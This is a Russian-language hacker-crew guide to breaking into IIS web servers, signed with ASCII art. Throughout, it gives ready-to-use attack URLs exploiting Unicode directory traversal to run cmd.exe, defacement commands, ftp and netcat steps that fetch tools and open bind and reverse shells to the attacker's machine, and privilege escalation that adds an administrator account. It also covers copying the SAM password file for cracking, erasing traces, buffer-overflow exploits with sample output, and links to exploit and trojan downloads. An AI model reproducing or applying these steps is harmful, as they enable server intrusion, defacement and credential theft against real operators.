-----------------------------------------
#! /usr/share/doc/defaced/2/tandp/IIS.txt
-----------------------------------------


ПОЛНОЕ РУКОВОДСТВО ПО ВЗЛОМУ IIS СЕРВЕРА. [ by GipsHackers Crew ]
----------------------------------------- 

Я  не  думал, что уязвимости типа unicode или чрезмерного декодирования серверов
IIS  до  сих  пор  актуальны, но попавшиеся несколько серверов с такими багами в
течение одного месяца меня переубедили =)

Вообще  серверов  на  IIS  в  сети  достаточное  количество, и многие из них без
установленных заплаток. В этой статье мы попытаемся осветить основные уязвимости
дырявых  M$  серверов и методы их взлома. Мы постараемся давать поменьше теории.
Но пару слов все-таки надо написать. Не без этого.

Собственно,  начнем  с тех самых уязвимостей, получивших в массах общее название
"юникод-баг".


ЧАСТЬ 1. UNICODE BUG

Обход  каталогов.  Иногда неверно настроенный веб-сервер (например, тот же апач)
позволяет выходить за каталог веб-сервера:

http://www.victim.com/../../

Но  не  все  так  просто. В IIS это дело пресекается. Пресекается, но не совсем.
Хакер  RFP  (Rain  Forest  Ruppy)  обнаружил,  что если символы / и \ передать в
кодировке   юникод,  то  сервер  их  пропускает,  потому  что  проверка  Unicode
выполняется  после,  а  не  до  проверки пути. Как перекодировать? Самый простой
пример для наглядности:

\ = %5с

После  того,  как  эту уязвимость вроде как прикрыли, было обнаружено, что можно
еще раз закодировать, и это опять пройдет:

% в кодировке юникод соответствует %25

Теперь  %5с  можем  заменить  на  %255c.  Ну,  и таких замен можно делать массу.
Поэтому  и существует множество разных кодов того, что называют в народе unicode
bug  (сюда  же относят и баг чрезмерного декодирования, который не убирается (!)
заплаткой  SP2).  А  дальше  все  просто.  Через  обход  каталогов мы выходим на
командный  интерпретатор  cmd.exe и выполняем через него произвольные команды на
сервере  (например,  простейшие  команды  ДОС:  dir – листинг директории, type –
вывод  содержимого файла, copy – копирование, del - удаление). Например, листинг
диска   С   можно  получить,  запросив  подобный  URL  (будем  тренироваться  на
www.microsoft.net, т.к. microsoft.com, кажется уже давно не на IIS сидит):

http://www.microsoft.net/scripts/..%255c../winnt/system32/cmd.exe?/c+dir+c:\

Баг есть. Что дальше?
Самое  простое, что обычно хотят сделать - дефейс сайта (о более серьезных вещах
поговорим далее). Итак, что нужно для замены главной страницы?

Первое  -  узнать  где  расположена  папка веб-сервера. Т.е. где лежат документы
сайта и наш желанный index.html (.htm, .php, .asp). Кстати, на IIS обычно это не
index, а default (расширения см.выше).
При   установленном   на   сервере   PHP   можно  попытаться  сделать  запрос  к
несуществующему  скрипту  (или  иногда  результат дает обращение к существующему
скрипту  с  некорректными  параметрами),  в  результате чего возможно нам скажут
что-то вроде:

Warning:   Failed   opening   'C:\InetPub\wwwroot\nonexist.php'   for  inclusion
(include_path='c:/temp') in Unknown on line 0,

Самый надежный способ – при помощи команды set.
http://www.microsoft.net/scripts/..%255c../winnt/system32/cmd.exe?/c+set+p

В  результате  вы  получите  массу всякой информации, среди которой будет строка
PATH_TRANSLATED. Вот тут и указывается путь к веб-сайту. Стандартно это выглядит
так:

PATH_TRANSLATED=c:\inetpub\wwwroot

Кстати,  если  вам скажут, что unicode bug не работает, если веб-сайт расположен
не  на  системном  томе  (внимание,  админ!),  то это ерунда. Да, я понимаю, что
логика подсказывает: не может быть. Еще раз повторю: ерунда!.. может. Сам видел.
Хакер  тем  и  отличается  от  обычных  людей,  что  мозги у него немного не так
устроены: он не верит устойчивым стереотипам =)

Вернемся  к дефейсу. У нас есть одна проблема. Наш cmd.exe не может организовать
стандартный  вывод  через  символ  >.  Решаем  эту  проблему: копируем командный
интерпретатор  с  другим  именем  (имя  должно отличаться – пусть это будет хоть
cmd1.exe,  хоть  root.exe  (как  это  делает Nimda), но только не cmd.exe). Куда
копировать? Можно быть уверенным, что у нас есть доступ к корню C:\

Копируем:
http://www.microsoft.net/scripts/..%255c../winnt/system32/cmd.exe?/c+copy+c:\ 
winnt\system32\cmd.exe+c:\cmd1.exe 

/часто рекомендуют копировать в каталоги, которые имеют права на исполнение, мол
уменьшается  сразу  путь  и  т.п.  –  Лишняя  трата  времени.  Можно замучаться,
перепробуя все каталоги, а потом окажется, что ничего не открыто на запись/

Вот,  теперь  мы  можем  создавать файлы, а значит, мы недалеки от цели. Ну что,
пробуем, можем ли мы дефейсить? Plain-text пойдет?

Тогда делаем так:
http://www.microsoft.net/scripts/..%255c../cmd1.exe?/c+echo+hacked   by   DEFACED
aliance+>c:\inetpub\wwwroot\default.htm

ну что, смотрим:
http://www.microsoft.net/

Ничего  не  получилось?  Пробуем,  есть  ли у нас возможность вообще записывать в
wwwroot:
http://www.microsoft.net/scripts/..%255c../cmd1.exe?/c+wcho+hi+>c:\inetpub\wwwroot\1.txt

Смотрим, появился ли наш файл:
http://www.microsoft.net/scripts/..%255c../cmd1.exe+dir+c:\inetpub\wwwroot\

Если  ничего не получилось или просто мы хотим чего-то больше нежели дефейс (или
красивый дефейс). Вот тут начинается самое интересное.
Нам  надо  загрузить  файлы  на  сервер.  Это  можно сделать несколькими путями.
Рассмотрим только самые практичные:

1. Если у нас есть взломанный ftp сервер
Впрочем,  не  обязательно взломанный. Нам просто нужен ftp сервер, на который мы
могли  бы  закачать  файлы,  а  потом  с него их скачать. Большинство бесплатных
серверов этого делать не позволяют.

Допустим  у нас есть логин и пароль к серверу ftp.bolshevik.com: login: partizan
&   password:   beyfashistov.  Давайте  закачем  на  него  файл  нашего  дефейса
default.htm. Теперь нам нужно его слить на сервер жертвы.
Сделаем  на  нашем  IIS  сервере  текстовый  файл  (допустим,  temp.txt)  такого
содержания:

open ftp.bolshevik.com
user partizan
beyfashistov
get default.htm
bye

Этот  файл мы скормим программе ftp.exe в качестве параметра для работы. Все это
можно сделать в одном урле:

http://www.microsoft.net/scripts/..%255c../cmd1.exe+echo+open+ftp.bolshevik.com+>c:\temp.txt
&&echo+user+partizan+>>c:\temp.txt&&echo+beyfashistov+>>c:\temp.txt&&echo+get+default.htm+>>
c:\temp.txt&&echo+bye+>>c:\temp.txt&&ftp+-s:c:\temp.txt

Небольшие пояснения:
А) мы создаем файл c:\temp.txt
Б)  запускаем  ftp.exe  с флагом –s, которому передаем как параметр путь к файлу
c:\temp.txt,  из  которого  фтп  должен  брать команды для выполнения (можно еще
добавить  флаги  –nd).  В  принципе, тут бы сперва поэкспериментировать на своей
машине,  сработают  ли  корректно команды для фтп: возможно нужно будет добавить
pass перед указанием пароля:

pass beyfashistov

Если все сработало, убираем лишние следы:
cmd1.exe?/c+del+c:\temp.txt
Потом копируем наш дефейс в папку wwwroot.

2. Если у нас есть расшаренный ресурс
Я  имел  в  виду,  что  у  нас  есть найденный в сети чей-то доступный ресурс (c
правами  на  запись).  Допустим  для  примера,  что  найден доступный на запись:
\\194.168.288.34\c

Тогда на сервере IIS даем такую команду:
http://www.microsoft.net/scripts/..%255c../cmd1.exe?/c+net+use+x:+\\194.168.288.34\c

Проверим, виден ли диск: dir+x:\
Если  все  нормально,  тогда  можем  использовать диск Х. Копируем туда, все что
нужно… Итак, дефейс сделан. Теперь удалим лишние следы.
 
Отсоединяем диски:
http://www.microsoft.net/scripts/..%255c../cmd1.exe?/c+net+use+*+/delete+/yes

3. За нас уже все сделали.
Есть довольно интересные perl сценарии, которые облегчают основную часть работы.
Качаем:

http://packetstormsecurity.nl/0101-exploits/unitools.tgz

Нам  нужно  знать  только сам баг и директорию, доступную на запись и выполнение
(можно поэкспериментировать с этими:

msadc
scripts
_vti_bin
_vti_cnf
samples
cgi-bin
iisadmpwd
adsamples

Итак, у нас четыре скрипта:
unicodeloader.pl
upload.asp
upload.inc
unicodexecute3.pl

Первые  три  должны  быть  в  одной директории. Чуток подправим unicodeloader.pl
(добавим  наш  код  бага,  если его там нет) и запускаем его (как параметр нужно
указать директорию, доступную на запись):

perl unicodeloader.pl www.microsoft.net:80 c:\inetpub\wwwroot

И  смотрим,  что  нам  напишут =). Если все в порядке, то скрипт распишет как он
пытается использовать уязвимость, а в конце:

……………………………………………………………
Upload page created.
…
Files will be uploaded to c:\inetpub\wwwroot  

Теперь пробуем открыть созданную страницу:
http://www.microsoft.net/upload.asp
Вот, мы можем свободно загружать на сервер любые файлы через веб-интерфейс.
Что первым делом загрузить? Без раздумий можно сказать: утилиту net cat (nc.exe). 
После этого мы используем другой скрипт из комплекта:
perl unicodexecute3.pl www.microsoft.net:80 c:\inetpub\wwwroot\nc -l -p 80 -e cmd.exe

Теперь  у нас есть нормальный shell. Просто телнетимся на 80-й порт жертвы. Этот
метод  очень  удобен  еще  и тогда, когда firewall ограничивает доступ (ни каких
ftp, tftp или RCP).

На всякий случай распишем как можно было еще установить обратную связь с помощью
netcat.  Допустим,  мы хотим установить связь по порту 31337. Запускаем на своем
компе nc (да, в этом случае с анонимностью будут проблемы =)):

C:\>nc –l –p 31337

Затем  на  сервере  устанавливаем  связь  с нашей машиной (даем только командную
строку, как это все запустить на сервере понятно из предыдущего примера):

C:\inetpub\wwwroot\nc.exe –v –e cmd.exe наш_IP 31337

Все. У  нас опять нормальный шелл...

4. Дефейс не получается. Что делать?
Итак,  у  нас  есть  shell.  Но  мы  не  можем дефейснуть сайт, потому что админ
ограничил наши права. Что же нам остается сделать, как не самим стать админом?!


РАСШИРЕНИЕ ПРИВЕЛЕГИЙ

Мы  работаем  в  контексте гостевой учетной записи (IUSR_имя_машины или IWAM_имя
машины).  Для IIS 4 есть утилита hk.exe, которая использует LPC (Local Procedure
Call),  которая  в свою очередь работает в контексте системной учетной записи. С
ее  помощью  можно  выполнять  любые  команды,  в  т.ч. и добавить себя в группу
администраторов (я уже не говорю о дефейсе):

hk.exe net localgroup administrators IUSR_имя_машины /add

(возможно  и  так:  hk.exe  net  localgroup administrators /add IUSR_имя_машины)
Качаем ее отсюда:

http://packetstormsecurity.nl/0101-exploits/hk-0.1.zip

Для  IIS  5  эта  штука не годится. Для win2k нужно брать iis5crack.dll, которая
использует функцию RevertToSelf (эта функция может приводить к выполнению команд
в контексте системной учетной записи, запрашивая текущий поток перейти из IUSR в
SYSTEM).  Достаточно  ее  загрузить  на сервер с именем одной из dll'ок, которым
разрешена эта функция:
 
idq.dll
httpext.dll
httpodbc.dll
ssinc.dll
msw3prt.dll
author.dll
admin.dll
shtml.dll

Затем  запускаем  ее  в  окне  броузера  и  можем опять-таки выполнять команды с
правами system… Найти исходники и готовую dll можно здесь:
 

http://www.digitaloffense.net/iiscrack/

Есть  еще  одна  очень  интересная программка, которая использует те же dll. Это
iscp.  Что  бы  получить  административный  доступ к серверу с ее помощью, нужно
скопировать, скажем idq.dll, в каталог, например scripts. После этого:

C:\>iscp www.microsoft.net/scripts/ idq.dll 80

Далее  нужно  будет  пару  раз  нажать ENTER, когда нас попросят. Вот мы и стали
админом =)

В  принципе,  мы  забыли  сказать  еще  об  одном  стандартном  приеме получения
привелегий.  Скорее  всего,  это  первое, что нужно было бы проверить на дырявом
сервере. Файл паролей НТ - sam. Иногда его можно скопировать в веб папку и потом
скачать.  Вернее, скопировать можно не его самого, а системный бекап, хранящийся
в  папке  winnt/repair.  Для  НТ  4  это  sam._, а для win2k просто sam. Пробуем
скопировать:

http://www.microsoft.net/scripts/..%255c../cmd1.exe?/c+copy+c:\winnt\repair\sam+c:\winnt\wwwroot\

Затем просто скачиваем его:

http://www.microsoft.net/sam

и расшифровываем при помощи LC (L0phtCrack).


ЧАСТЬ 2. ПАРА СТАРЫХ УЯЗВИМОСТЕЙ.

Одна   из   нашумевших  в  свое  время  уязвимостей  -  IDQ  .Printer  Overflow,
использовавшаяся червем codered. Суть найденной eEye Digital Security уязвимости
заключается  в переполнении буфера в фильтре ISAPI при передаче в HTTP запросе к
файлу  с  расширением .printer более 420 символов в поле HOST. Самое интересное,
что  необязательно  делать  запрос  к  реально  существующему файлу. В протоколе
интернет печати (IPP), отвечающая за это dll, вызывает до проверки существования
файла.

GET /NULL.printer HTTP/1.0
HOST: [420 символов]

Такой  запрос  при  нормальных  условиях  подвесит  IIS,  но  win2k автоматом ее
перезапускает,  т.ч.  для  пользователя  визуально ничего не будет заметно (если
только хакер не добивается отказа в обслуживании).
Эксплоит,   написанный   eEye   компилится   с   ошибками   (вот   скомпиленный:
http://packetstormsecurity.nl/9906-exploits/iishack.exe).     Первый    реальный
эксплоит  под  nix назывался jill, который, используя переполнение буфера в IPP,
создает обратный шелл на адрес хакера в контексте записи SYSTEM.

Работает это все так. Запустим нашу любимую неткат:
         nc -vv -l -p 31337
         listening on [any] 31337 ...
Теперь запускаем jill:
         jill IP_адрес_жертвы 80 наш_IP 31337
         iis5 spyrit / beavuh labs.

         Connecting...
         Sent...
Если все прошло нормально, получаем у себя в окне nc:

         listening on [any] 31337
         connect to [наш_IP] from MICROSOFTIISHACKED [IP_адрес_жертвы] 1117
         [жмем ENTER]

         Microsoft Windows 2000 [Version 5.0.0.2195]
         c Copyright 1985-1999 Microsoft Corp.
         C:>

Иногда прийдется лишний раз нажимать ENTER - это нормально. 
Под  win32  этот  эксплоит  был  портирован  с  именем juill-win32. Позже в сети
появилась модифицированная версия iis5hack и iishack2000 (под win32):

http://packetstormsecurity.nl/0105-exploits/iishack2000.c.

Серия уязвимостей в ISAPI DLL, раскрывающих исходный код. 
Классическая  уязвимость  +.htr,  работающая  как  на  IIS  4,  так  и на IIS 5.
Добавление +.htr к файлу показывает его исходный код, даже если файл исполняемый
(скрипт  .asp,  .php  И  т.п.). Например, можно вызвать файл global.asa, который
никогда не передается клиенту:

GET /site1/global.asa+.htr HTTP/1.0
[CRLF]
[CRLF]

Запишем все вышеуказанное (запрос) в текстовый файл, скажем glob.txt. Дадим этот
файл утилите netcat, натравив ее на уязвимый сервер. Результат будет такой:

C:> nc -vv www.victim.com 80 < glob.txt

www.victim.com [10.15.1.10] 80 (http) open
HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Thu, 25 Jan 2001 00:50:17 GMT
("Profiles_ConnectString") = "DSN=profiles;UID=Company_user;Password=secret"
("DB_ConnectString") = "DSN=db;UID=Company_user;Password=secret"
("PHFConnectionString") = "DSN=phf;UID=sa;PWD="
("SiteSearchConnectionString") = "DSN=SiteSearch;UID=Company_user;PWD=simple"
("ConnectionString") = "DSN=Company;UID=Company_user;PWD=guessme"
("eMail_pwd") = "sendaemon"
("LDAPServer") = "LDAP://directory.company.com:389"
("LDAPUserID") = "cn=Directory Admin"
("LDAPPwd") = "slapdme"

Как  видите,  из  этого  файла  можно  многое почерпнуть =) Конечно, приведенный
пример - ошибка программиста, но сколько их бывает подобного рода ;-)


HTR Chunked Encoding Buffer overflow 

Не   очень   старая   уязвимость,   но  нормального  эксплоита  пока  не  нашел.
HTR_Exploit.pl (или iischeck.pl) проверяет наличие этого бага. Работает даже под
IIS 5.1 (Win XP Pro).
 
http://packetstorm.linuxsecurity.com/0204-exploits/iischeck.pl

Пока это только доказательство концепции. 
Ждем  эксплоита. Уязвимость позволяет удаленно выполнять произвольный код. Хотя,
для IIS 4 вот это вполне сойдет:

#!/usr/bin/perl
#props to the absu crew
use Net::Telnet;
for ($i=2500;$i<3500;$i++)
 {
        $obj=Net::Telnet->new( Host => "$ARGV[0]",Port => 80);
        my $cmd = "GET /". 'A' x $i . ".htr HTTP/1.0\n";
        print "$cmd\n";$obj->print("$cmd");
        $obj->close;
 }


:: БЕГЛЫЕ ЗАМЕЧАНИЯ ::

Мы  не  касаемся  таких уязвимостей как .ida/.idq и проч. (использовавшиеся Code
Red & Nimda). Вот пара эксплоитов для полноты картины:

http://packetstorm.linuxsecurity.com/0001-exploits/iiscat.c  
http://www.digitaloffense.net/ida_overflow.pl
  
Если  передать  shtml.exe  в качестве параметра несуществующее имя файла, узнаем
путь к wwwroot:

http://207.69.190.42/_vti_bin/shtml.exe/postinfo1.html 
Cannot open "d:\inetpub\wwwroot\postinfo1.html": no such file or folder.

В IIS 4 при подстановке ::$DATA после имени .asp файла получим его исходный код.

Можно зааплодить троян на IIS 4 без SP6:
http://packetstorm.linuxsecurity.com/trojans/Hackyou.tgz


ЧАСТЬ 3. УЯЗВИМОСТЬ IIS WebDAV NTDLL.DLL

И вот, новые уязвимости прогремели с шумом по сети.
Переполнение  буфера в протоколе webdav под IIS позволяет выполнять произвольный
код  в  контексте  учетной  записи  SYSTEM.  Утилита для проверки сервера на эту
уязвимость:

http://packetstormsecurity.nl/NT/audit/PTwebdav.zip

Первый  эксплоит  сделал  kralor  [Crpt]. Он открывает обратную связь, используя
netcat.

http://www.gipshack.ru/expl/wbr.c

Сперва запускаем nc:
nc -L -vv -p 31337
Затем запускаем эксплоит:
wbr адрес_жертвы наш_ip 31337 0 

После этого появился более продвинутый эксплоит от www.rs-labs.com:
http://www.rs-labs.com/exploitsntools/rs_iis.c
Работает так:

         $ gcc -o rs_iis rs_iis.c
         $ ./rs_iis microsoft.net       
         [*] Resolving hostname ...
         [*] Attacking port 80 at roman (EIP = 0x00480004)...
         [*] Now open another console/shell and try to connect 
         (telnet) to victim port 31337...
 
         $ telnet roman 31337
         Trying 192.255.255.1 ...
         Connected to microsoft.net.
         Escape character is '^]'.
         Microsoft Windows 2000 [Version 5.00.2195]
         (C) Copyright 1985-2000 Microsoft Corp.

         C:\WINNT\system32>
                                 
Авторы xSpider сканера сделали эксплоит с графическим интерфейсом под win32:

http://www.ptsecurity.ru/tools/PTwebdav.zip

И,  кажется,  самый  свежий  на  момент написания статьи - от Xnuxer Lab. Сплоит
примечателен тем, что не требует дополнительных средств типа netcat.

Код см.здесь: http://gipshack.ru/expl/webdav3.html


ДРУГИЕ ЭКСПЛОИТЫ:       
http://www.digitaloffense.net/webdav_ex.pl
Использование: 
webdav_ex.pl -h <цель> -p <порт> -H <ip_коннекта> -P <порт_коннекта> -R <ret_адрес>

http://gipshack.ru/expl/iiswebdav.txt
Эксплоит от Alumni. Биндит шелл на порту 32768.

Под линукс:
http://packetstormsecurity.nl/0306-exploits/linux-wb.c 

Все основные эксплоиты можно найти здесь:
http://gipshack.ru/search/?query=webdav
                                        
                                        
Ну вот и все, что мы хотели сказать относительно взлома IIS веб сервера.
P.S.  нашумевшей  уязвимости  dcom  rpc  мы  не  рассматривали,  потому  что это
уязвимость не веб сервера, а ОС win NT. Но это уже совсем другая история ;-)


 HHHHHH   HHJ  HHJ  HHHHHH                                                      
HHG  HHH  HHJ  HHJ HHC  HHC     ZZZZ Z Z Z  ZZ Z Z Z ZZZZ ZZ Z ZZ ZZZ Z ZZ Z    
HHG       HHHHHHHJ HHC       Z Z Z ZZ Z Z Z ZZ  Z            Z Z Z ZZZ Z ZZ Z  Z
HHG HHHHJ HHJJJHHJ HHC         ZZ Z Z Z    Z Z Z ZZ ZZZ   ZZ Z Z Z ZZ ZZ Z Z    
HHG  HHG  HHJ  HHJ HHC  HHC  Z Z ZZ Z Z Z    Z Z ZZ Z ZZZZ Z ZZ Z Z Z Z ZZ ZZ   
 HHHHHGJ  HHJ  HHJ  HHHHHС  ZZZZ8OODNNNNNO$ZZZZZ$ZZZZ   Z ZZZZ ZZZZ Z    ZZ  Z  
                          Z8NNNNNNNNNMMMMMNNNNNDZZZZZZZZZZ Z Z Z  ZZZZ Z Z ZZ Z 
                 ZZZZZZ8NNMMNNNNNMMMNMMNNMMMMMMMNDZZZ Z Z ZZ   ZZ     ZZ Z Z  Z 
  ZZZZ   ZZZZZZZZZZZZDNNNMMNNMNNMMMNNMMMMMMMNNMMMMMN8ZZZZZZZ  ZZ Z Z Z Z ZZZ    
        ZZZZZZZZZZDMNNMNMMNNMMNNNNNDN8NMMMNMMMMNMMMNNNNN8$ZZ  ZZ ZZ ZZZ Z Z $  
   ZZZZZ Z  ZZZZZZNNNNNNNNMNMNNNNNMZZZNMMMMMMMMMMMMMNNNMNMNN8Z$ZZZZ Z Z ZZZZ Z  
ZZZZZZ  ZZZZZZZZZNMNNNNNMMNMNMNNMNMMDMNMMMMMMMMMMNMMMMMMMNMMNMN$ZZZZZZZZZZZZ ZZ 
Z Z   ZZZZZZZZZZDNNNNNNNNMMMNMMMNMMMNMMMMMMMMMMMMMMMMMMMMMMMNNNM$ZZZZZZ ZZZ ZZ  
ZZZZZZZZZZZZZZZ8NMNMMNNMNMMNNNNNMMMMNMMMMMMMMMMMMMMMMMMMMMMMMNNNMNZZZZ ZZZ ZZZ Z
   ZZZZZZZZZZZZNNMMMNNNNNNNMNNNNNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNN8ZZZZZZZ ZZ ZZ
ZZZ ZZZZZZZZZZZMNMNNNNMNNNNNNNNNMMMMNNNMNMMMNMNMMMMMMMMMMMMNMMMMMNNZZZZZ ZZZZZZ 
Z ZZ ZZZZZZZZZONMNNNNNNNNM$................,ZDMNMMMMMMMMMMMMMMMMMNNNZZZ ZZZZZZZ$
Z ZZZ ZZZ ZZZZNNNNNNNNNN+.......................:NMNNNMMMMMMMMMMMNNNNDZZZZZZZZZZ
ZZZ Z ZZZZZZZZNNNNNNNNNO............................:DNNNNMMMMMMMNNNNMNZZZZZZZ Z
ZZZZZZZZZ ZZZZNNNNNNNNN................................NMMMMNMMMMNNMNNNZZZZZZ Z 
ZZZZZZZ ZZZZZZ$NNNNNNNN...............................+NNNNNNMMMMNNMMNNZZZZZZ Z 
 ZZZZ ZZZZZZZZZNNNNNNMM.+=............. ....~..+I?NIN+MDMNNNNNMMMNMNMNNDZZZ ZZZZ
Z Z ZZZZZZZZZZ$NNNNNNN8DNNNNNNNNNDN,..$?$NNNNNNNNNNNNNNNNMNNMMMMMNMMMNNM$Z ZZZZZ
ZZZZZZZZZZZZZZONNNMNNMNMNNNNNNNNNNNN8.:,NNNNNNMMMMMNNNMMMMMMMMMMMNMMMNNNZZZ ZZZ 
 ZZZZZZZZZZZZ8NNNNNNNNNM~MNMMMNNMNNN7....NNMNNMMNMMNMNMMMNMMMMMMMMMMMMNMZZ ZZZ Z
Z ZZZZZZZZZZ8NNNNNNNNN?DNNNMNND..ZMN:...ZNNNNM8MNMMNMMMMMMMMMMMMMMMMMMNDZZ$ZZZZ 
ZZ ZZZZZNNNNNNNNNNNNM.,NNMNNN... O,8...INNNM.:O.INNNNNNNMMNMNMMMMMMMNMMZZZZZ Z  
ZZZZDNNNMNNNMNNNNNNNO................ .,NNNN$.....MNNNNNMMNMNMMMMMMMMNMNZO ZZZ  
Z OZZZN8NNNNNNNNNNNN:...................DNN,......ONNMNMNMNNNMMMNMMMNMNDZZ  Z ZZ
ZZZZZZDOMNMNNNNNNNNN....................NDD...........,ZDNNNNMMMNMMMMMNO8ZZZZZZ 
ZZ ZZZZZNMMNNNNNNNNN~...................8N7N........+IN8NNNNNNMMNNMMMMMNN8ZZZ   
ZZZZZZZMNNNNNNNNNNNNN............ONNNNNNNNNN........NNNNNNNMMNNNNMNMMMMNNNNNZZZ 
ZZZZZZZ8NNNNNNNNNNNNN$...........NNNMNNNNNNNDI......NNNNNNNNNNNMNNNMMMMNNNNN$Z Z
ZZZZZZZNNNNNNNNNNNNNNNI..........O$,$..+NNNNNI.....$NNNNNNNMMMMMNNNMMMMNNNM$ZZ Z
ZZZZZZZMNNNNNNNNNNNNNNN........... Z7..:NN8.......NNNNNNNNNNNMMMNNNNMMNNNNZOZZ  
ZZZZZZZDNNNNNNNNNNNNNNN..........,~NN ..NNNN8:.+...8NMNNNMNNNNNNMNNMNNNNNNZ$ZZ Z
ZZZZZZZDNNNNNNNNNNNNNNN$........8NDN:...NNNNNNNN:.7I=NNNNNNNNNNMNNMMNNNNNNZZ    
ZZZZ8ODNNNNNNNNNNNNNNNNN....=DNN8,.INNMNNNNNNNNNNNNNNNNNMMMMNNNNNNNNNNMMNNZZZZZ 
ZZZZOMMNZ$NNNNNNNNNNNNNN$..,NN,NMMN8D7NMMMNNNNNNNNNNNNNNMNMNNNNNNNNNNNMNNN$ZZZ  
ZZZZZZDOZZZNNNNNNNNNNNNNN .ONN.. ........NMNNNNNNNNNNNNNMNMNNNNNNNNNMNNNNNZZ ZZZ
ZZZZZZN$ZZ$8NNNNNNNNNNNNND.ND:...NNNNNNNNNNNNNNNNNNNNNNNNNNNNMMNNNMMMNNNNDZZZZ Z
ZZZZZZMNZOMNNNNNNNNNNNNNNN .....,MNNNMDNNMNNNNNNNNNNNNNNNNNNNMNNNNNNNNNNNZZZZ ZZ
ZZZZZZ8NNNNNNNNNNNNNNNNNNN$,.............,DNMNNNNNNNNNNNNNMNNMNMNMMMNNNN$ZZZ  Z 
ZZZZZDONNMMMMMNMMMNNNNNNNNNNNN..............7NMNNNNNMMNMNNMMNNMMNMMMMNDNZZZZZ ZZ
ZZZZZZNMMMMMMMMMMMMMNNNNNNNNNNN......... :..NNNNNNNNMMMMMMMMMMMMMMMMNDOZZZZ ZZZZ
ZZZZZZMNMNMMMMMMMMNMMNNNMNNNNNNN.... .NNNNNNNNNNNMMNMMMNMMMMMMMMNMMNMNNOZZZZZ Z 
ZZZZZZZZZDMMMMMMMMMMMNMMNNNNNNNNNNNMNNNMMMMMMNMMNMMMMMMMMMMMMMMMMMMMMNMZZZ  ZZZZ
ZZZZZZZZZDMMMMNMMMMMMMMMNMNNNMNNMNNNNNMMMMMMMNMMMMMMMMMMMMMMMMMMMMMMMM8ZZZZZZZ  
ZZZZZZZZZDNMOZ8NMMMMNMMMMMNMMMMMMMMMMMMMNNMMMMMMMMMMMMMMMMMMMMMMMMMMMMZZZZZZZZZ 
ZZZZZZZZZZZZZZZMMMMMMMNMNNMZDMNNNMMNMMMMMMMMMMMMMMMMMMMMMMMMNMMMZ8$NNOZZZZZZ Z  
ZZZZZZZZZZZZZZZMMMMMMNMMNMMMMNMMNNMMMMMMMMMMMMMMMMMMMMMMMMMMMNMNZZNN8ZZZZZZZZZZZ
ZZZZZZZZZDNMMNMMMMMMMMMMMMMMMMNNMNMMMMMMMMMMMMMMMMMMMMMMMMMMNOZZZZZZZZZZZZZZZZZZ
ZZZZ8NMMMMMMMMMMMMMMMNMMMMMMMMMNNNMMMMMMMMMNMMNNNNMMMMMMMMMMM8ZZZZZZZZZZZZZZZZZZ
MNNMNMMMMMMMMMMMMMMMMNMMMMMMMMNMMNNMNMMMMMMMMMMZ8N8MMMMMMMMMN8ZZZZ   Z ZZ  ZZZZ 
MMMMMMMMMMMMMMMMNNMMMNMMMM8OMMZZ$ZNNNMDNMNMMMMMZZDONMMMMMMMMMNZ  Z Z Z Z ZZZZZ  
MMMMMMMMMMMMMMMDZNMMMMNNMMNNDDNNZZZZDNOZMNMDNNNDMNMMMMMMMMMMMMZZZZZZZZZZZZZZZZZZ
MMMMMMMMMMMMMMDO$$MMMNNNDNNNNNNNNN8ZZZNNNMZMMMMMMMMMMMMMMMMMMNNZZZ  Z ZZZZZZZZ  
MMMMMMMMMMMMMN8Z$ZZNMMNMDO8MMMMNNNNNNDOZZMMMMMMMMMMMMMMMMMMMZ8D8NZZZZZZZZZ   ZZZ
DMMMMMMMMMMMM$ZZZZZONNMMNOONMMMNMNMMMMMNMOMMMMMMMMMMMMMMODNM8ZZZZZZZZZZ   ZZZZZZ
Z 8NMMMMMMMMNMOZZZZZDNMMM8OMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM8ZZZZZZZMNZZZZZZZ Z 
 ZZZZMMMMMMMNNMNZZZZZNMMMMNMMMMMMMMMMMMMMMMMMN8NNMMMMMMMNMMMM8ZZZZZ8ZMMMZZZ  Z  
  ZZZZ8MMNMMMMMNDZZZZZO   Our privilege is UID=0 (root)    ZZZZZ8DZMNOZ  ZZZZ
Z ZZZZZZ$MMMMMMMMN8ZZZZMMM    Our words are rules         MMMMZZZZZZNMZZZZZ  Z Z
 ZZZZZZZZZZOMMMMMMMMDZZZNMM Our creations live eternaly  MNMMDZZZZZZMZD8ZZZZ   
  ZZZZZZZZZ$ZZZZODMMNMMMMMMNMNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNZMMMZZZZOMMZNZZZZZ  
ZZ  ZZ ZZZZZZZZZZZZZZZZ8MMNMMMMMMMMMMMMMMMMMNMMMMMMMMMNMMMNOZDMZZDZZZMMZZZZZZ  Z
Z   ZZZ Z Z  ZZZ ZZZZZZZZNMMMMMMMNMMMMMMMMMMDZZMMMMMMZZ8ZZN8ZZZMDMOZZMNDZZZ     
  Z Z ZZZ ZZ   ZZZ   ZZZZ$NMMMMMOZNMMMMMMMMMNOMMMMMMMMNMOMZZZZZZ$OM8ZMMMZNDNZZ  
    Z Z ZZ ZZZZZ  Z ZZ ZZZZDNMM$DZZZ88MMM8MNNZZZNNZZDZZZZ Z Z ZZZ  ZZZMMZNM